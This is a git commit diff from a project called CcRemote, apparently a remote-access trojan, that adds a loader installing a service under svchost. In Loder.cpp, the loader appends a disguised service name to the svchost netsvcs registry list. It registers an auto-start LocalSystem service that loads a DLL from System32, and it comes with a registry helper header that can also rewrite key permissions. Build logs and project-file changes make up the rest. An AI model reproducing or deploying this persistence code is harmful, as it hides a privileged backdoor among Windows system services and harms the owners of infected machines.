update Add svchost Service

This commit is contained in:
changcheng
2020-07-01 23:10:59 +08:00
parent 78d2e5d193
commit ac601b4a57
15 changed files with 405 additions and 8 deletions

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -1,3 +1,3 @@
 Loder.cpp
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(1216,5): warning MSB8012: TargetPath(G:\CcRemote\CcRemote\CcMainDll\Debug\Loder.exe) 与 Linker 的 OutputFile 属性值(G:\CcRemote\CcRemote\bin\server\loder.exe)不匹配。这可能导致项目生成不正确。若要更正此问题,请确保 $(OutDir)、$(TargetName) 和 $(TargetExt) 属性值与 %(Link.OutputFile) 中指定的值匹配。
Loder.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\Debug\Loder.exe
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
LINK : 缺少程序数据库 G:\CcRemote\CcRemote\bin\server\Loder.pdb正在执行完全链接
Loder.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\Loder\..\\..\\bin\\server\Loder.exe

Binary file not shown.

View File

@@ -4,6 +4,7 @@
#include <iostream>
#include <Windows.h>
#include "resource.h"
#include "RegEditEx.h"
bool CreateMyFile(const char* strFilePath, LPBYTE lpBuffer, DWORD dwSize)
@@ -67,9 +68,144 @@ bool CreateEXE(const char* strFilePath, int nResourceID, const char* strResource
return true;
}
char *AddsvchostService()
{
char *lpServiceName = NULL;
int rc = 0;
HKEY hkRoot;
char buff[2048];
//打开装所有svchost服务名的注册表键
//query svchost setting
char *ptr;
char pSvchost[] = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost";
rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pSvchost, 0, KEY_ALL_ACCESS, &hkRoot);
if (ERROR_SUCCESS != rc)
return NULL;
DWORD type, size = sizeof buff;
//枚举他所有的服务名
rc = RegQueryValueEx(hkRoot, "netsvcs", 0, &type, (unsigned char*)buff, &size);
SetLastError(rc);
if (ERROR_SUCCESS != rc)
RegCloseKey(hkRoot);
int i = 0;
bool bExist = false;
char servicename[50];
do
{
//这里获得类似这样的服务名netsvcs_0netsvcs_1。。。。。。。
wsprintf(servicename, "netsvcs_0x%d", i);
for (ptr = buff; *ptr; ptr = strchr(ptr, 0) + 1)
{
//然后比对一下服务名中是否有这个名字了
if (lstrcmpi(ptr, servicename) == 0)
{
bExist = true;
break; //如果没有就跳出
}
}
if (bExist == false)
break;
bExist = false;
i++;
} while (1);
servicename[lstrlen(servicename) + 1] = '\0';
//然后将这个服务名写到所有服务名的后面,
//不要妄想直接用api在一个注册表的键值后面添加一些信息
memcpy(buff + size - 1, servicename, lstrlen(servicename) + 2);
//然后将含有新服务名的缓冲区写入注册表,注册表里原有内容被覆盖
rc = RegSetValueEx(hkRoot, "netsvcs", 0, REG_MULTI_SZ, (unsigned char*)buff, size + lstrlen(servicename) + 1);
RegCloseKey(hkRoot);
SetLastError(rc);
if (bExist == false)
{
lpServiceName = new char[lstrlen(servicename) + 1];
lstrcpy(lpServiceName, servicename);
}
//回到 InstallService
return lpServiceName;
}
int main()
{
CreateEXE("E:\\aaa.dll", IDR_DLL1, "DLL");
//CreateEXE("E:\\aaa.dll", IDR_DLL1, "DLL");
char lpServiceDescription[]= "CcRemote服务";
char strModulePath[MAX_PATH];
char strSysDir[MAX_PATH];
char strSubKey[1024];
DWORD dwStartType = 0;
char strRegKey[1024];
int rc = 0;
HKEY hkRoot = HKEY_LOCAL_MACHINE, hkParam = 0;
SC_HANDLE hscm = NULL, schService = NULL;
//打开服务
hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
GetSystemDirectory(strSysDir, sizeof(strSysDir));
char bin[] = "%SystemRoot%\\System32\\svchost.exe -k netsvcs";
char *lpServiceName = AddsvchostService(); //*添加的代码在这个函数中*
char lpServiceDisplayName[128];
wsprintf(lpServiceDisplayName, "%s_ms,", lpServiceName);
//这里返回新的服务名后就构造服务dll的名字
memset(strModulePath, 0, sizeof(strModulePath));
wsprintf(strModulePath, "%s\\%sex.dll", strSysDir, lpServiceName);
//然后构造服务中的描述信息的位置
wsprintf(strRegKey, "MACHINE\\SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
schService = CreateService(
hscm, // SCManager database
lpServiceName, // name of service
lpServiceDisplayName, // service name to display
SERVICE_ALL_ACCESS, // desired access
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, // start type
SERVICE_ERROR_NORMAL, // error control type
bin, // service's binary
NULL, // no load ordering group
NULL, // no tag identifier
NULL, // no dependencies
NULL, // LocalSystem account
NULL); // no password
dwStartType = SERVICE_WIN32_OWN_PROCESS;
if (schService == NULL)
throw "CreateService(Parameters)";
CloseServiceHandle(schService);
CloseServiceHandle(hscm);
hkRoot = HKEY_LOCAL_MACHINE;
//这里构造服务的描述键
wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
if (dwStartType == SERVICE_WIN32_SHARE_PROCESS)
{
DWORD dwServiceType = 0x120;
//写入服务的描述
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Type", REG_DWORD, (char *)&dwServiceType, sizeof(DWORD), 0);
}
//写入服务的描述
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Description", REG_SZ, (char *)lpServiceDescription, lstrlen(lpServiceDescription), 0);
lstrcat(strSubKey, "\\Parameters");
//写入服务的描述
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "CcMainDll", REG_EXPAND_SZ, (char *)strModulePath, lstrlen(strModulePath), 0);
RegCloseKey(hkRoot);
RegCloseKey(hkParam);
CloseServiceHandle(schService);
CloseServiceHandle(hscm);
return 0;
}

View File

@@ -72,12 +72,14 @@
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<OutDir>..\\..\\bin\\server</OutDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<OutDir>..\\..\\bin\\server</OutDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
@@ -161,6 +163,7 @@
<ClCompile Include="Loder.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="RegEditEx.h" />
<ClInclude Include="resource.h" />
</ItemGroup>
<ItemGroup>

View File

@@ -23,6 +23,9 @@
<ClInclude Include="resource.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="RegEditEx.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="Loder.rc">

243
CcMainDll/Loder/RegEditEx.h Normal file
View File

@@ -0,0 +1,243 @@
#include <windows.h>
//ȥ<><C8A5><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>Ŀո<C4BF>
char *DelSpace(char *szData)
{
int i=0 ;
while(1)
{
if(strnicmp(szData+i," ",1))
break;
i++;
}
return (szData+i);
}
//<2F><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1>Ȩ<EFBFBD><C8A8>(KEY_READ||KEY_WRITE||KEY_ALL_ACCESS)
int SetKeySecurityEx(HKEY MainKey,LPCTSTR SubKey,DWORD security)
{
HKEY hKey;
SID_IDENTIFIER_AUTHORITY sia = SECURITY_NT_AUTHORITY;
PSID pSystemSid = NULL;
PSID pUserSid = NULL;
SECURITY_DESCRIPTOR sd;
PACL pDacl = NULL;
DWORD dwAclSize;
int iResult = 0;
__try
{
if(RegOpenKeyEx(MainKey, SubKey, 0, WRITE_DAC, &hKey)!= ERROR_SUCCESS)
__leave;
if(!AllocateAndInitializeSid(&sia,1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid ))
__leave;
if(!AllocateAndInitializeSid( &sia, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,0, 0, 0, 0, 0, 0, &pUserSid))
__leave;
dwAclSize = sizeof(ACL) + 2 * ( sizeof(ACCESS_ALLOWED_ACE) - sizeof(DWORD) ) + GetLengthSid(pSystemSid) + GetLengthSid(pUserSid) ;
pDacl = (PACL)HeapAlloc(GetProcessHeap(), 0, dwAclSize);
if(pDacl == NULL)
__leave;
if(!InitializeAcl(pDacl, dwAclSize, ACL_REVISION))
__leave;
if(!AddAccessAllowedAce( pDacl, ACL_REVISION, KEY_ALL_ACCESS, pSystemSid ))
__leave;
if(!AddAccessAllowedAce( pDacl, ACL_REVISION, (unsigned long)security, pUserSid ))
__leave;
if(!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))
__leave;
if(!SetSecurityDescriptorDacl(&sd, TRUE, pDacl, FALSE))
__leave;
if(RegSetKeySecurity(hKey, (SECURITY_INFORMATION)DACL_SECURITY_INFORMATION, &sd)!= ERROR_SUCCESS)
__leave;
iResult =1;
}
__finally
{
RegCloseKey(MainKey);
RegCloseKey(hKey);
if(pDacl !=NULL)
HeapFree(GetProcessHeap(), 0, pDacl);
if(pSystemSid !=NULL)
FreeSid(pSystemSid);
if(pUserSid !=NULL)
FreeSid(pUserSid);
}
return iResult;
}
//<2F><>ȡע<C8A1><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(Mode:0-<2D><><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD> 1-<2D><><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD> 2-<2D><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 3-<2D>жϸü<CFB8><C3BC>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>)
int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData,LPBYTE szBytes,DWORD lbSize,int Mode)
{
HKEY hKey;
int ValueDWORD,iResult=0;
char* PointStr;
char KeyName[32],ValueSz[MAX_PATH],ValueTemp[MAX_PATH];
DWORD szSize,KnSize,dwIndex=0;
memset(KeyName,0,sizeof(KeyName));
memset(ValueSz,0,sizeof(ValueSz));
memset(ValueTemp,0,sizeof(ValueTemp));
__try
{
// SetKeySecurityEx(MainKey,SubKey,KEY_ALL_ACCESS);
if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ,&hKey) != ERROR_SUCCESS)
{
iResult = -1;
__leave;
}
switch(Mode)
{
case 0:
switch(Type)
{
case REG_SZ:
case REG_EXPAND_SZ:
szSize = sizeof(ValueSz);
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS)
{
strcpy(szData,DelSpace(ValueSz));
iResult =1;
}
break;
case REG_MULTI_SZ:
szSize = sizeof(ValueSz);
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS)
{
for(PointStr = ValueSz; *PointStr; PointStr = strchr(PointStr,0)+1)
{
strncat(ValueTemp,PointStr,sizeof(ValueTemp));
strncat(ValueTemp," ",sizeof(ValueTemp));
}
strcpy(szData,ValueTemp);
iResult =1;
}
break;
case REG_DWORD:
szSize = sizeof(DWORD);
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)&ValueDWORD,&szSize ) == ERROR_SUCCESS)
{
wsprintf(szData,"%d",ValueDWORD);
iResult =1;
}
break;
case REG_BINARY:
szSize = lbSize;
if(RegQueryValueEx(hKey,Vname,NULL,&Type,szBytes,&szSize) == ERROR_SUCCESS)
iResult =1;
break;
}
break;
case 1:
while(1)
{
memset(ValueSz,0,sizeof(ValueSz));
szSize = sizeof(ValueSz);
if(RegEnumKeyEx(hKey,dwIndex++,ValueSz,&szSize,NULL,NULL,NULL,NULL) != ERROR_SUCCESS)
break;
wsprintf(ValueTemp,"[%s]\r\n",ValueSz);
strcat(szData,ValueTemp);
iResult =1;
}
break;
case 2:
while(1)
{
memset(KeyName,0,sizeof(KeyName));
memset(ValueSz,0,sizeof(ValueSz));
memset(ValueTemp,0,sizeof(ValueTemp));
KnSize = sizeof(KeyName);
szSize = sizeof(ValueSz);
if(RegEnumValue(hKey,dwIndex++,KeyName,&KnSize,NULL,&Type,(LPBYTE)ValueSz,&szSize) != ERROR_SUCCESS)
break;
switch(Type)
{
case REG_SZ:
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_SZ",ValueSz);
break;
case REG_EXPAND_SZ:
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_EXPAND_SZ",ValueSz);
break;
case REG_DWORD:
wsprintf(ValueTemp,"%-24s %-15s 0x%x(%d) \r\n",KeyName,"REG_DWORD",ValueSz,int(ValueSz));
break;
case REG_MULTI_SZ:
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_MULTI_SZ");
break;
case REG_BINARY:
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_BINARY");
break;
}
lstrcat(szData,ValueTemp);
iResult =1;
}
break;
case 3:
iResult =1;
break;
}
}
__finally
{
RegCloseKey(MainKey);
RegCloseKey(hKey);
}
return iResult;
}
//дע<D0B4><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(Mode:0-<2D>½<EFBFBD><C2BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 1-<2D><><EFBFBD>ü<EFBFBD><C3BC><EFBFBD><EFBFBD><EFBFBD> 2-ɾ<><C9BE>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD> 3-ɾ<><C9BE>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
int WriteRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char* szData,DWORD dwData,int Mode)
{
HKEY hKey;
DWORD dwDisposition;
int iResult =0;
__try
{
// SetKeySecurityEx(MainKey,Subkey,KEY_ALL_ACCESS);
switch(Mode)
{
case 0:
if(RegCreateKeyEx(MainKey,SubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition) != ERROR_SUCCESS)
__leave;
case 1:
if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
__leave;
switch(Type)
{
case REG_SZ:
case REG_EXPAND_SZ:
if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)szData,strlen(szData)+1) == ERROR_SUCCESS)
iResult =1;
break;
case REG_DWORD:
if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)&dwData,sizeof(DWORD)) == ERROR_SUCCESS)
iResult =1;
break;
case REG_BINARY:
break;
}
break;
case 2:
if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
__leave;
if (RegDeleteKey(hKey,Vname) == ERROR_SUCCESS)
iResult =1;
break;
case 3:
if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
__leave;
if (RegDeleteValue(hKey,Vname) == ERROR_SUCCESS)
iResult =1;
break;
}
}
__finally
{
RegCloseKey(MainKey);
RegCloseKey(hKey);
}
return iResult;
}

View File

@@ -1,7 +1,19 @@
 Loder.cpp
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(1216,5): warning MSB8012: TargetPath(G:\CcRemote\CcRemote\CcMainDll\Release\Loder.exe) 与 Linker 的 OutputFile 属性值(G:\CcRemote\CcRemote\bin\server\loder.exe)不匹配。这可能导致项目生成不正确。若要更正此问题,请确保 $(OutDir)、$(TargetName) 和 $(TargetExt) 属性值与 %(Link.OutputFile) 中指定的值匹配。
正在生成代码
171 of 171 functions (100.0%) were compiled.
0 of 4 functions ( 0.0%) were compiled, the rest were copied from previous compilation.
0 functions were new in current compilation
0 functions had inline decision re-evaluated but remain unchanged
已完成代码的生成

Binary file not shown.

View File

@@ -1,6 +1,6 @@
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
TestLoadDll.cpp
正在生成代码
All 171 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
已完成代码的生成
TestLoadDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe
TestLoadDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe

View File

@@ -1,2 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
Release|Win32|F:\myapp\CcRemote\CcMainDll\|
Release|Win32|G:\CcRemote\CcRemote\CcMainDll\|

Binary file not shown.

Binary file not shown.